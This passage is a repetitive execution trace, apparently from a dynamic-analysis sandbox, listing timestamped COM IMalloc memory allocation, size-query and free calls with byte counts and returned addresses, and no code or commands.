0x2764b7f12a0 [0099.341] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2763b995870 [0099.341] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1060 [0099.341] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f0a90 [0099.341] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1120 [0099.341] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f0a30 [0099.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f0eb0 [0099.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f0d00 [0099.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b7f0ac0 [0099.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f0fa0 [0099.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1270 [0099.342] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1210 [0099.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f10c0 [0099.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b7f1240 [0099.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f08b0 [0099.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f0fd0 [0099.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f0d60 [0099.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f0a00 [0099.343] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2763b995f70 [0099.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f0730 [0099.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f1000 [0099.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1090 [0099.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1030 [0099.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2763b995c70 [0099.344] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2763b995070 [0099.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2763b9961f0 [0099.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f0760 [0099.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x2764556df50 [0099.345] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x276455710b0 [0099.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f10f0 [0099.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f0790 [0099.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f0820 [0099.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2763b99d9b0 [0099.346] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2763b9a0070 [0099.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2763c2c28a0 [0099.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2763c2c2b60 [0099.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f0850 [0099.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f08e0 [0099.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f0910 [0099.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2763c2caee0 [0099.347] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2763c2ce4a0 [0099.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2763c2cdca0 [0099.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2763c2d67a0 [0099.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f0970 [0099.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f09a0 [0099.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2763c2bd3a0 [0099.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2763c2202f0 [0099.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2763c229af0 [0099.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2763c22c0b0 [0099.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2763c219430 [0099.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2763c21b3b0 [0099.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1420 [0099.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1c60 [0099.349] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2763c21b530 [0099.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2763c21bdf0 [0099.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1de0 [0099.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f18a0 [0099.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x27644e76950 [0099.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x27644e76a50 [0099.350] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1960 [0099.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1c90 [0099.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b7f1450 [0099.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x27644e78710 [0099.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x27644e8eb10 [0099.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x276452c7c00 [0099.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x276452c7a20 [0099.351] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f1ab0 [0099.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f1360 [0099.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f1cc0 [0099.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b17cf90 [0099.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f1ae0 [0099.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1930 [0099.352] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f1b10 [0099.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1d80 [0099.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x36) returned 0x27644e8ee50 [0099.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1b70 [0099.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1d20 [0099.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f15d0 [0099.353] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f15a0 [0099.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f1330 [0099.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764532ece0 [0099.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764532eae0 [0099.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1cf0 [0099.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f14b0 [0099.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f1b40 [0099.354] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f19c0 [0099.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1e40 [0099.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1480 [0099.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f1a20 [0099.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f1d50 [0099.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f14e0 [0099.355] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f1600 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1db0 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b7f1c30 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50b8a0 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cfb0 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d070 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d290 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cd90 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d0d0 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d150 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d2d0 [0099.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d2f0 [0099.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d0f0 [0099.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d3d0 [0099.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d330 [0099.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d370 [0099.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cd70 [0099.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d270 [0099.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d110 [0099.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d130 [0099.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d3f0 [0099.357] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d1b0 [0099.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d350 [0099.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d1d0 [0099.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d1f0 [0099.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d230 [0099.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d410 [0099.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d490 [0099.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d4d0 [0099.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cdb0 [0099.358] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cd30 [0099.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cdd0 [0099.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dad0 [0099.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d9f0 [0099.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d930 [0099.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17db50 [0099.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d730 [0099.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d5d0 [0099.359] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dcf0 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17db90 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d6f0 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17db10 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d870 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d7d0 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d5f0 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d610 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d630 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d650 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d750 [0099.360] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17da50 [0099.361] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d5b0 [0099.361] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d7b0 [0099.362] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dbf0 [0099.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dab0 [0099.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d810 [0099.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d950 [0099.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d7f0 [0099.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dc10 [0099.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d970 [0099.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d570 [0099.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d670 [0099.365] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dbb0 [0099.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d590 [0099.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dc30 [0099.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d8b0 [0099.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d690 [0099.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d830 [0099.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dc50 [0099.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17da10 [0099.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d8d0 [0099.366] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d530 [0099.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d550 [0099.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d770 [0099.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d6b0 [0099.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dcd0 [0099.367] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d9b0 [0099.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d850 [0099.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d710 [0099.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dc70 [0099.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d790 [0099.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d890 [0099.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d990 [0099.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d8f0 [0099.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17d6d0 [0099.368] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b17dcb0 [0099.368] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17dcb0) returned 0x18 [0099.369] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dcb0) [0099.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e920 [0099.369] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e920) returned 0x8 [0099.369] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e920) [0099.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e990 [0099.369] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e990) returned 0x8 [0099.369] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e990) [0099.369] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17dc90 [0099.369] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17dc90) returned 0x10 [0099.370] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17dc90) [0099.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f16f0 [0099.370] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b7f16f0) returned 0x20 [0099.370] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f16f0) [0099.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764532f560 [0099.370] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764532f560) returned 0x30 [0099.370] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764532f560) [0099.370] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x276452c8fb0 [0099.370] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276452c8fb0) returned 0x48 [0099.371] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276452c8fb0) [0099.371] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eac0 [0099.371] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eac0) returned 0x8 [0099.457] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eac0) [0099.457] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e210 [0099.457] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e210) returned 0x10 [0099.459] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e210) [0099.459] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e940 [0099.459] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e940) returned 0x8 [0099.460] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e940) [0099.460] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17df90 [0099.460] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17df90) returned 0x10 [0099.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17df90) [0099.461] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eb20 [0099.461] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eb20) returned 0x8 [0099.463] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eb20) [0099.463] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e430 [0099.463] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e430) returned 0x10 [0099.466] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e430) [0099.466] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e9a0 [0099.466] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e9a0) returned 0x8 [0099.470] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e9a0) [0099.470] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e940 [0099.470] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e940) returned 0x8 [0099.472] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e940) [0099.472] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ebb0 [0099.472] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ebb0) returned 0x8 [0099.473] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ebb0) [0099.473] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ea70 [0099.473] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ea70) returned 0x8 [0099.474] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ea70) [0099.474] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e210 [0099.474] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e210) returned 0x10 [0099.475] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e210) [0099.475] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ea60 [0099.475] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ea60) returned 0x8 [0099.476] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ea60) [0099.476] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ea60 [0099.476] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ea60) returned 0x8 [0099.481] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ea60) [0099.481] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e290 [0099.481] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e290) returned 0x10 [0099.485] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e290) [0099.485] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eac0 [0099.485] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eac0) returned 0x8 [0099.488] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eac0) [0099.488] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17ddd0 [0099.488] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17ddd0) returned 0x10 [0099.489] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17ddd0) [0099.489] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ea60 [0099.489] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ea60) returned 0x8 [0099.611] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ea60) [0099.611] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17eb70 [0099.612] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17eb70) returned 0x10 [0099.615] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17eb70) [0099.615] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17ebf0 [0099.615] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17ebf0) returned 0x10 [0099.617] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17ebf0) [0099.617] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e980 [0099.617] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e980) returned 0x8 [0099.619] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e980) [0099.619] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17e830 [0099.619] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17e830) returned 0x10 [0099.620] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17e830) [0099.620] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51eb80 [0099.620] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51eb80) returned 0x8 [0099.781] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51eb80) [0099.781] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0099.781] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0099.782] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0099.782] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ebe0 [0099.782] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ebe0) returned 0x8 [0099.783] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ebe0) [0099.783] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17cbb0 [0099.783] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17cbb0) returned 0x10 [0099.784] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17cbb0) [0099.785] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e930 [0099.785] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e930) returned 0x8 [0099.786] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e930) [0099.786] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0099.786] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0099.789] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0099.789] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51e930 [0099.789] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51e930) returned 0x8 [0099.792] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e930) [0099.792] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c5f0 [0099.793] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c5f0) returned 0x10 [0099.806] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c5f0) [0099.806] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b17c9d0 [0099.806] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) returned 0x10 [0099.932] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b17c9d0) [0099.932] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764b51ea20 [0099.932] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b51ea20) returned 0x8 [0099.945] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51ea20) [0099.945] 